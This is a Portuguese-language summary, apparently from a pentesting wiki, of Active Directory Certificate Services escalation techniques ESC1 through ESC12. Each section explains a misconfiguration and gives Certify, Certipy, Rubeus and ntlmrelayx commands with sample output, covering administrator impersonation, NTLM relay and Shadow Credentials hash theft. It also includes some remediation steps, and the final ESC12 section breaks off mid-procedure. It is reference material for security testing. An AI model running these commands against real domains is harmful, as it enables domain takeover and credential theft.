AD CS Domain Escalation

Este é um resumo das seções de técnicas de escalonamento dos posts:

• https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
• https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
• https://github.com/ly4k/Certipy

Modelos de Certificado Mal Configurados - ESC1

Explicação

Modelos de Certificado Mal Configurados - ESC1 Explicado

• Os direitos de inscrição são concedidos a usuários com baixos privilégios pela CA Empresarial.
• A aprovação do gerente não é necessária.
• Nenhuma assinatura de pessoal autorizado é necessária.
• Os descritores de segurança nos modelos de certificado são excessivamente permissivos, permitindo que usuários com baixos privilégios obtenham direitos de inscrição.
• Os modelos de certificado são configurados para definir EKUs que facilitam a autenticação:
• Identificadores de Uso de Chave Estendida (EKU) como Autenticação de Cliente (OID 1.3.6.1.5.5.7.3.2), Autenticação de Cliente PKINIT (1.3.6.1.5.2.3.4), Logon de Cartão Inteligente (OID 1.3.6.1.4.1.311.20.2.2), Qualquer Propósito (OID 2.5.29.37.0), ou sem EKU (SubCA) estão incluídos.
• A capacidade dos solicitantes de incluir um subjectAltName na Solicitação de Assinatura de Certificado (CSR) é permitida pelo modelo:
• O Active Directory (AD) prioriza o subjectAltName (SAN) em um certificado para verificação de identidade, se presente. Isso significa que, ao especificar o SAN em um CSR, um certificado pode ser solicitado para se passar por qualquer usuário (por exemplo, um administrador de domínio). Se um SAN pode ser especificado pelo solicitante é indicado no objeto AD do modelo de certificado através da propriedade mspki-certificate-name-flag. Esta propriedade é uma máscara de bits, e a presença da flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT permite a especificação do SAN pelo solicitante.

Esse recurso é às vezes habilitado para suportar a geração sob demanda de certificados HTTPS ou de host por produtos ou serviços de implantação, ou devido à falta de entendimento.

Observa-se que criar um certificado com esta opção aciona um aviso, o que não acontece quando um modelo de certificado existente (como o modelo WebServer, que tem CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT habilitado) é duplicado e, em seguida, modificado para incluir um OID de autenticação.

Abuso

Para encontrar modelos de certificado vulneráveis, você pode executar:

Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128

Para abusar dessa vulnerabilidade para se passar por um administrador, pode-se executar:

Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'

Então você pode transformar o certificado gerado para o formato .pfx e usá-lo para autenticar usando Rubeus ou certipy novamente:

Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100

Os binários do Windows "Certreq.exe" e "Certutil.exe" podem ser usados para gerar o PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee

A enumeração de modelos de certificado dentro do esquema de configuração da floresta AD, especificamente aqueles que não necessitam de aprovação ou assinaturas, que possuem um EKU de Autenticação de Cliente ou Logon de Cartão Inteligente, e com a flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT habilitada, pode ser realizada executando a seguinte consulta LDAP:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))

Modelos de Certificado Mal Configurados - ESC2

Explicação

O segundo cenário de abuso é uma variação do primeiro:

1. Direitos de inscrição são concedidos a usuários com baixos privilégios pela CA Empresarial.
2. A exigência de aprovação do gerente é desativada.
3. A necessidade de assinaturas autorizadas é omitida.
4. Um descritor de segurança excessivamente permissivo no modelo de certificado concede direitos de inscrição de certificado a usuários com baixos privilégios.
5. O modelo de certificado é definido para incluir o EKU de Qualquer Propósito ou nenhum EKU.

O EKU de Qualquer Propósito permite que um certificado seja obtido por um atacante para qualquer propósito, incluindo autenticação de cliente, autenticação de servidor, assinatura de código, etc. A mesma técnica usada para ESC3 pode ser empregada para explorar este cenário.

Certificados com nenhum EKU, que atuam como certificados de CA subordinada, podem ser explorados para qualquer propósito e também podem ser usados para assinar novos certificados. Assim, um atacante poderia especificar EKUs ou campos arbitrários nos novos certificados utilizando um certificado de CA subordinada.

No entanto, novos certificados criados para autenticação de domínio não funcionarão se a CA subordinada não for confiável pelo objeto NTAuthCertificates, que é a configuração padrão. No entanto, um atacante ainda pode criar novos certificados com qualquer EKU e valores de certificado arbitrários. Estes poderiam ser potencialmente abusados para uma ampla gama de propósitos (por exemplo, assinatura de código, autenticação de servidor, etc.) e poderiam ter implicações significativas para outras aplicações na rede, como SAML, AD FS ou IPSec.

Para enumerar modelos que correspondem a este cenário dentro do esquema de configuração da Floresta AD, a seguinte consulta LDAP pode ser executada:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))

Modelos de Agente de Inscrição Mal Configurados - ESC3

Explicação

Este cenário é semelhante ao primeiro e ao segundo, mas abusando de uma EKU diferente (Agente de Solicitação de Certificado) e 2 modelos diferentes (portanto, possui 2 conjuntos de requisitos),

A EKU de Agente de Solicitação de Certificado (OID 1.3.6.1.4.1.311.20.2.1), conhecida como Agente de Inscrição na documentação da Microsoft, permite que um principal inscreva-se para um certificado em nome de outro usuário.

O “agente de inscrição” se inscreve em tal modelo e usa o certificado resultante para co-assinar um CSR em nome do outro usuário. Em seguida, envia o CSR co-assinado para a CA, inscrevendo-se em um modelo que permite “inscrever em nome de”, e a CA responde com um certificado pertencente ao “outro” usuário.

Requisitos 1:

• Direitos de inscrição são concedidos a usuários com baixos privilégios pela CA Empresarial.
• A exigência de aprovação do gerente é omitida.
• Nenhuma exigência de assinaturas autorizadas.
• O descritor de segurança do modelo de certificado é excessivamente permissivo, concedendo direitos de inscrição a usuários com baixos privilégios.
• O modelo de certificado inclui a EKU de Agente de Solicitação de Certificado, permitindo a solicitação de outros modelos de certificado em nome de outros principais.

Requisitos 2:

• A CA Empresarial concede direitos de inscrição a usuários com baixos privilégios.
• A aprovação do gerente é contornada.
• A versão do esquema do modelo é 1 ou superior a 2, e especifica um Requisito de Emissão de Política de Aplicação que necessita da EKU de Agente de Solicitação de Certificado.
• Uma EKU definida no modelo de certificado permite autenticação de domínio.
• Restrições para agentes de inscrição não são aplicadas na CA.

Abuso

Você pode usar Certify ou Certipy para abusar deste cenário:

# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'

# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf

Os usuários que estão autorizados a obter um certificado de agente de inscrição, os modelos nos quais os agentes de inscrição estão autorizados a se inscrever e as contas em nome das quais o agente de inscrição pode agir podem ser restritos por CAs empresariais. Isso é alcançado abrindo o certsrc.msc snap-in, clicando com o botão direito no CA, clicando em Propriedades e, em seguida, navegando até a aba “Agentes de Inscrição”.

No entanto, observa-se que a configuração padrão para CAs é “Não restringir agentes de inscrição.” Quando a restrição sobre agentes de inscrição é habilitada pelos administradores, configurá-la para “Restringir agentes de inscrição”, a configuração padrão permanece extremamente permissiva. Ela permite que Todos tenham acesso para se inscrever em todos os modelos como qualquer um.

Controle de Acesso ao Modelo de Certificado Vulnerável - ESC4

Explicação

O descritor de segurança nos modelos de certificado define as permissões específicas que os principais AD possuem em relação ao modelo.

Se um atacante possuir as permissões necessárias para alterar um modelo e instituir quaisquer configurações exploráveis descritas em seções anteriores, a elevação de privilégios pode ser facilitada.

As permissões notáveis aplicáveis aos modelos de certificado incluem:

• Owner: Concede controle implícito sobre o objeto, permitindo a modificação de quaisquer atributos.
• FullControl: Habilita autoridade completa sobre o objeto, incluindo a capacidade de alterar quaisquer atributos.
• WriteOwner: Permite a alteração do proprietário do objeto para um principal sob o controle do atacante.
• WriteDacl: Permite o ajuste dos controles de acesso, potencialmente concedendo ao atacante FullControl.
• WriteProperty: Autoriza a edição de quaisquer propriedades do objeto.

Abuso

Um exemplo de um privesc como o anterior:

ESC4 é quando um usuário tem privilégios de escrita sobre um modelo de certificado. Isso pode, por exemplo, ser abusado para sobrescrever a configuração do modelo de certificado para torná-lo vulnerável ao ESC1.

Como podemos ver no caminho acima, apenas JOHNPC possui esses privilégios, mas nosso usuário JOHN tem a nova borda AddKeyCredentialLink para JOHNPC. Como essa técnica está relacionada a certificados, implementei esse ataque também, que é conhecido como Shadow Credentials. Aqui está uma pequena prévia do comando shadow auto do Certipy para recuperar o hash NT da vítima.

certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'

Certipy pode sobrescrever a configuração de um modelo de certificado com um único comando. Por padrão, o Certipy irá sobrescrever a configuração para torná-la vulnerável ao ESC1. Também podemos especificar o parâmetro -save-old para salvar a configuração antiga, o que será útil para restaurar a configuração após nosso ataque.

# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old

# Exploit ESC1
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local

# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json

Controle de Acesso a Objetos PKI Vulneráveis - ESC5

Explicação

A extensa rede de relacionamentos interconectados baseados em ACL, que inclui vários objetos além dos modelos de certificado e da autoridade certificadora, pode impactar a segurança de todo o sistema AD CS. Esses objetos, que podem afetar significativamente a segurança, abrangem:

• O objeto de computador AD do servidor CA, que pode ser comprometido por meio de mecanismos como S4U2Self ou S4U2Proxy.
• O servidor RPC/DCOM do servidor CA.
• Qualquer objeto ou contêiner AD descendente dentro do caminho de contêiner específico CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>. Este caminho inclui, mas não se limita a, contêineres e objetos como o contêiner de Modelos de Certificado, contêiner de Autoridades Certificadoras, o objeto NTAuthCertificates e o Contêiner de Serviços de Inscrição.

A segurança do sistema PKI pode ser comprometida se um atacante com privilégios baixos conseguir controlar qualquer um desses componentes críticos.

EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6

Explicação

O assunto discutido na postagem da CQure Academy também aborda as implicações da flag EDITF_ATTRIBUTESUBJECTALTNAME2, conforme descrito pela Microsoft. Esta configuração, quando ativada em uma Autoridade Certificadora (CA), permite a inclusão de valores definidos pelo usuário no nome alternativo do sujeito para qualquer solicitação, incluindo aquelas construídas a partir do Active Directory®. Consequentemente, essa disposição permite que um intruso se inscreva através de qualquer modelo configurado para autenticação de domínio—especificamente aqueles abertos à inscrição de usuários não privilegiados, como o modelo padrão de Usuário. Como resultado, um certificado pode ser obtido, permitindo que o intruso se autentique como um administrador de domínio ou qualquer outra entidade ativa dentro do domínio.

Nota: A abordagem para adicionar nomes alternativos em uma Solicitação de Assinatura de Certificado (CSR), através do argumento -attrib "SAN:" no certreq.exe (referido como “Name Value Pairs”), apresenta um contraste com a estratégia de exploração de SANs em ESC1. Aqui, a distinção reside em como as informações da conta são encapsuladas—dentro de um atributo de certificado, em vez de uma extensão.

Abuso

Para verificar se a configuração está ativada, as organizações podem utilizar o seguinte comando com certutil.exe:

certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"

Esta operação essencialmente emprega acesso remoto ao registro, portanto, uma abordagem alternativa pode ser:

reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags

Ferramentas como Certify e Certipy são capazes de detectar essa má configuração e explorá-la:

# Detect vulnerabilities, including this one
Certify.exe find

# Exploit vulnerability
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local

Para alterar essas configurações, assumindo que se possui direitos administrativos de domínio ou equivalentes, o seguinte comando pode ser executado de qualquer estação de trabalho:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

Para desabilitar essa configuração em seu ambiente, a flag pode ser removida com:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

Controle de Acesso da Autoridade Certificadora Vulnerável - ESC7

Ataque 1

Explicação

O controle de acesso para uma autoridade certificadora é mantido através de um conjunto de permissões que governam as ações da CA. Essas permissões podem ser visualizadas acessando certsrv.msc, clicando com o botão direito em uma CA, selecionando propriedades e, em seguida, navegando até a aba Segurança. Além disso, as permissões podem ser enumeradas usando o módulo PSPKI com comandos como:

Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access

Isso fornece insights sobre os direitos primários, nomeadamente ManageCA e ManageCertificates, correlacionando-se com os papéis de “administrador de CA” e “Gerente de Certificados”, respectivamente.

Abuso

Ter direitos de ManageCA em uma autoridade de certificação permite que o principal manipule configurações remotamente usando PSPKI. Isso inclui alternar o sinalizador EDITF_ATTRIBUTESUBJECTALTNAME2 para permitir a especificação de SAN em qualquer modelo, um aspecto crítico da escalada de domínio.

A simplificação desse processo é alcançável através do uso do cmdlet Enable-PolicyModuleFlag do PSPKI, permitindo modificações sem interação direta com a GUI.

A posse de direitos de ManageCertificates facilita a aprovação de solicitações pendentes, contornando efetivamente a salvaguarda de "aprovação do gerente de certificados da CA".

Uma combinação dos módulos Certify e PSPKI pode ser utilizada para solicitar, aprovar e baixar um certificado:

# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response      : The certificate is still pending.
[*] Request ID       : 336
[...]

# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest

# Download the certificate
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336

Ataque 2

Explicação

Portanto, outro ataque é apresentado aqui.

Pré-requisitos:

• Apenas permissão ManageCA
• Permissão Manage Certificates (pode ser concedida a partir de ManageCA)
• O modelo de certificado SubCA deve estar habilitado (pode ser habilitado a partir de ManageCA)

A técnica se baseia no fato de que usuários com o direito de acesso Manage CA e Manage Certificates podem emitir solicitações de certificado falhadas. O modelo de certificado SubCA é vulnerável ao ESC1, mas apenas administradores podem se inscrever no modelo. Assim, um usuário pode solicitar a inscrição no SubCA - que será negada - mas depois emitida pelo gerente.

Abuso

Você pode conceder a si mesmo o direito de acesso Manage Certificates adicionando seu usuário como um novo oficial.

certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'John' on 'corp-DC-CA'

O SubCA template pode ser ativado na CA com o parâmetro -enable-template. Por padrão, o template SubCA está ativado.

# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
## If SubCA is not there, you need to enable it

# Enable SubCA
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'corp-DC-CA'

Se tivermos cumprido os pré-requisitos para este ataque, podemos começar solicitando um certificado com base no modelo SubCA.

Esta solicitação será negada, mas salvaremos a chave privada e anotaremos o ID da solicitação.

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate

Com nossos Manage CA e Manage Certificates, podemos então emitir a solicitação de certificado falhada com o comando ca e o parâmetro -issue-request <request ID>.

certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

E finalmente, podemos recuperar o certificado emitido com o comando req e o parâmetro -retrieve <request ID>.

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'

NTLM Relay para Endpoints HTTP do AD CS – ESC8

Explicação

Vários métodos de inscrição baseados em HTTP são suportados pelo AD CS, disponibilizados através de funções adicionais de servidor que os administradores podem instalar. Essas interfaces para inscrição de certificado baseada em HTTP são suscetíveis a ataques de retransmissão NTLM. Um atacante, a partir de uma máquina comprometida, pode se passar por qualquer conta AD que autentique via NTLM de entrada. Enquanto se passa pela conta da vítima, essas interfaces web podem ser acessadas por um atacante para solicitar um certificado de autenticação de cliente usando os modelos de certificado User ou Machine.

• A interface de inscrição web (uma aplicação ASP mais antiga disponível em http://<caserver>/certsrv/), por padrão, é apenas HTTP, o que não oferece proteção contra ataques de retransmissão NTLM. Além disso, permite explicitamente apenas autenticação NTLM através de seu cabeçalho HTTP de Autorização, tornando métodos de autenticação mais seguros, como Kerberos, inaplicáveis.
• O Serviço de Inscrição de Certificado (CES), o Serviço Web de Política de Inscrição de Certificado (CEP) e o Serviço de Inscrição de Dispositivos de Rede (NDES) suportam por padrão autenticação negotiate através de seu cabeçalho HTTP de Autorização. A autenticação negotiate suporta ambos Kerberos e NTLM, permitindo que um atacante rebaixe para autenticação NTLM durante ataques de retransmissão. Embora esses serviços web habilitem HTTPS por padrão, HTTPS sozinho não protege contra ataques de retransmissão NTLM. A proteção contra ataques de retransmissão NTLM para serviços HTTPS só é possível quando HTTPS é combinado com binding de canal. Infelizmente, o AD CS não ativa a Proteção Estendida para Autenticação no IIS, que é necessária para binding de canal.

Um problema comum com ataques de retransmissão NTLM é a duração curta das sessões NTLM e a incapacidade do atacante de interagir com serviços que exigem assinatura NTLM.

No entanto, essa limitação é superada ao explorar um ataque de retransmissão NTLM para adquirir um certificado para o usuário, uma vez que o período de validade do certificado dita a duração da sessão, e o certificado pode ser empregado com serviços que exigem assinatura NTLM. Para instruções sobre como utilizar um certificado roubado, consulte:

{{#ref}} account-persistence.md {{#endref}}

Outra limitação dos ataques de retransmissão NTLM é que uma máquina controlada pelo atacante deve ser autenticada por uma conta vítima. O atacante pode esperar ou tentar forçar essa autenticação:

{{#ref}} ../printers-spooler-service-abuse.md {{#endref}}

Abuso

Certify’s cas enumera endpoints HTTP AD CS habilitados:

Certify.exe cas

A propriedade msPKI-Enrollment-Servers é usada por Autoridades Certificadoras (CAs) empresariais para armazenar pontos de extremidade do Serviço de Inscrição de Certificados (CES). Esses pontos de extremidade podem ser analisados e listados utilizando a ferramenta Certutil.exe:

certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA

Import-Module PSPKI
Get-CertificationAuthority | select Name,Enroll* | Format-List *

Abuso com Certify

## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
# Prepare a proxy that the attacker can use
socks 1080

## In the attackers
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server

# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>

Abuso com Certipy

A solicitação de um certificado é feita pelo Certipy por padrão com base no modelo Machine ou User, determinado se o nome da conta sendo retransmitida termina em $. A especificação de um modelo alternativo pode ser alcançada através do uso do parâmetro -template.

Uma técnica como PetitPotam pode então ser empregada para forçar a autenticação. Ao lidar com controladores de domínio, a especificação de -template DomainController é necessária.

certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

No Security Extension - ESC9

Explicação

O novo valor CT_FLAG_NO_SECURITY_EXTENSION (0x80000) para msPKI-Enrollment-Flag, referido como ESC9, impede a incorporação da nova extensão de segurança szOID_NTDS_CA_SECURITY_EXT em um certificado. Esta flag se torna relevante quando StrongCertificateBindingEnforcement está configurado como 1 (a configuração padrão), o que contrasta com uma configuração de 2. Sua relevância é aumentada em cenários onde um mapeamento de certificado mais fraco para Kerberos ou Schannel pode ser explorado (como no ESC10), dado que a ausência do ESC9 não alteraria os requisitos.

As condições sob as quais a configuração desta flag se torna significativa incluem:

• StrongCertificateBindingEnforcement não é ajustado para 2 (com o padrão sendo 1), ou CertificateMappingMethods inclui a flag UPN.
• O certificado é marcado com a flag CT_FLAG_NO_SECURITY_EXTENSION dentro da configuração msPKI-Enrollment-Flag.
• Qualquer EKU de autenticação de cliente é especificado pelo certificado.
• Permissões GenericWrite estão disponíveis sobre qualquer conta para comprometer outra.

Cenário de Abuso

Suponha que John@corp.local tenha permissões GenericWrite sobre Jane@corp.local, com o objetivo de comprometer Administrator@corp.local. O modelo de certificado ESC9, no qual Jane@corp.local está autorizada a se inscrever, está configurado com a flag CT_FLAG_NO_SECURITY_EXTENSION em sua configuração msPKI-Enrollment-Flag.

Inicialmente, o hash de Jane é adquirido usando Credenciais de Sombra, graças ao GenericWrite de John:

certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane

Subsequentemente, o userPrincipalName de Jane é modificado para Administrator, omitindo propositalmente a parte do domínio @corp.local:

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

Essa modificação não viola restrições, dado que Administrator@corp.local permanece distinto como userPrincipalName de Administrator.

Após isso, o template de certificado ESC9, marcado como vulnerável, é solicitado como Jane:

certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9

É observado que o userPrincipalName do certificado reflete Administrator, desprovido de qualquer “object SID”.

O userPrincipalName de Jane é então revertido para o seu original, Jane@corp.local:

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

Tentando autenticação com o certificado emitido agora resulta no hash NT de Administrator@corp.local. O comando deve incluir -domain <domain> devido à falta de especificação de domínio no certificado:

certipy auth -pfx adminitrator.pfx -domain corp.local

Mapeamentos de Certificado Fracos - ESC10

Explicação

Dois valores de chave de registro no controlador de domínio são referidos pelo ESC10:

• O valor padrão para CertificateMappingMethods sob HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel é 0x18 (0x8 | 0x10), anteriormente definido como 0x1F.
• A configuração padrão para StrongCertificateBindingEnforcement sob HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc é 1, anteriormente 0.

Caso 1

Quando StrongCertificateBindingEnforcement está configurado como 0.

Caso 2

Se CertificateMappingMethods incluir o bit UPN (0x4).

Caso de Abuso 1

Com StrongCertificateBindingEnforcement configurado como 0, uma conta A com permissões GenericWrite pode ser explorada para comprometer qualquer conta B.

Por exemplo, tendo permissões GenericWrite sobre Jane@corp.local, um atacante visa comprometer Administrator@corp.local. O procedimento espelha o ESC9, permitindo que qualquer modelo de certificado seja utilizado.

Inicialmente, o hash de Jane é recuperado usando Credenciais de Sombra, explorando o GenericWrite.

certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane

Subsequentemente, o userPrincipalName de Jane é alterado para Administrator, omitindo deliberadamente a parte @corp.local para evitar uma violação de restrição.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

Em seguida, um certificado que permite a autenticação do cliente é solicitado como Jane, usando o modelo padrão User.

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

O userPrincipalName de Jane é então revertido para o original, Jane@corp.local.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

Autenticar-se com o certificado obtido resultará no hash NT de Administrator@corp.local, necessitando a especificação do domínio no comando devido à ausência de detalhes do domínio no certificado.

certipy auth -pfx administrator.pfx -domain corp.local

Caso de Abuso 2

Com o CertificateMappingMethods contendo a flag de bit UPN (0x4), uma conta A com permissões GenericWrite pode comprometer qualquer conta B que não possua a propriedade userPrincipalName, incluindo contas de máquina e o administrador de domínio embutido Administrator.

Aqui, o objetivo é comprometer DC$@corp.local, começando pela obtenção do hash de Jane através de Credenciais Sombreadas, aproveitando o GenericWrite.

certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane

O userPrincipalName de Jane é então definido como DC$@corp.local.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'

Um certificado para autenticação do cliente é solicitado como Jane usando o modelo padrão User.

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

O userPrincipalName de Jane é revertido para o original após este processo.

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'

Para autenticar via Schannel, a opção -ldap-shell do Certipy é utilizada, indicando sucesso na autenticação como u:CORP\DC$.

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

Através do shell LDAP, comandos como set_rbcd permitem ataques de Delegação Constrangida Baseada em Recursos (RBCD), potencialmente comprometendo o controlador de domínio.

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

Essa vulnerabilidade também se estende a qualquer conta de usuário que não possua um userPrincipalName ou onde ele não corresponda ao sAMAccountName, sendo o Administrator@corp.local um alvo principal devido aos seus privilégios elevados no LDAP e à ausência de um userPrincipalName por padrão.

Relaying NTLM to ICPR - ESC11

Explicação

Se o CA Server não estiver configurado com IF_ENFORCEENCRYPTICERTREQUEST, ele pode permitir ataques de relé NTLM sem assinatura via serviço RPC. Reference in here.

Você pode usar certipy para enumerar se Enforce Encryption for Requests está desativado e o certipy mostrará as vulnerabilidades ESC11.

$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)

Certificate Authorities
0
CA Name                             : DC01-CA
DNS Name                            : DC01.domain.local
Certificate Subject                 : CN=DC01-CA, DC=domain, DC=local
....
Enforce Encryption for Requests     : Disabled
....
[!] Vulnerabilities
ESC11                             : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue

Cenário de Abuso

É necessário configurar um servidor de retransmissão:

$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Targeting rpc://DC01.domain.local (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:DC01.domain.local[135] to determine ICPR stringbinding
[*] Attacking user 'Administrator@DOMAIN'
[*] Template was not defined. Defaulting to Machine/User
[*] Requesting certificate for user 'Administrator' with template 'User'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 10
[*] Got certificate with UPN 'Administrator@domain.local'
[*] Certificate object SID is 'S-1-5-21-1597581903-3066826612-568686062-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

Nota: Para controladores de domínio, devemos especificar -template em DomainController.

Ou usando o fork de impacket de sploutchy:

$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support

Acesso ao shell do ADCS CA com YubiHSM - ESC12

Explicação

Os administradores podem configurar a Autoridade Certificadora para armazená-la em um dispositivo externo como o "Yubico YubiHSM2".

Se um dispositivo USB estiver conectado ao servidor CA via uma porta USB, ou um servidor de dispositivo USB no caso de o servidor CA ser uma máquina virtual, uma chave de autenticação (às vezes chamada de "senha") é necessária para que o Provedor de Armazenamento de Chaves gere e utilize chaves no YubiHSM.

Essa chave/senha é armazenada no registro sob HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword em texto claro.

Referência em aqui.

Cenário de Abuso

Se a chave privada da CA estiver armazenada em um dispositivo USB físico quando você obtiver acesso ao shell, é possível recuperar a chave.

Primeiro, você precisa obter o certificado da CA (este é público) e então:

# import it to the user store with CA certificate
$ certutil -addstore -user my <CA certificate file>

# Associated with the private key in the YubiHSM2 device
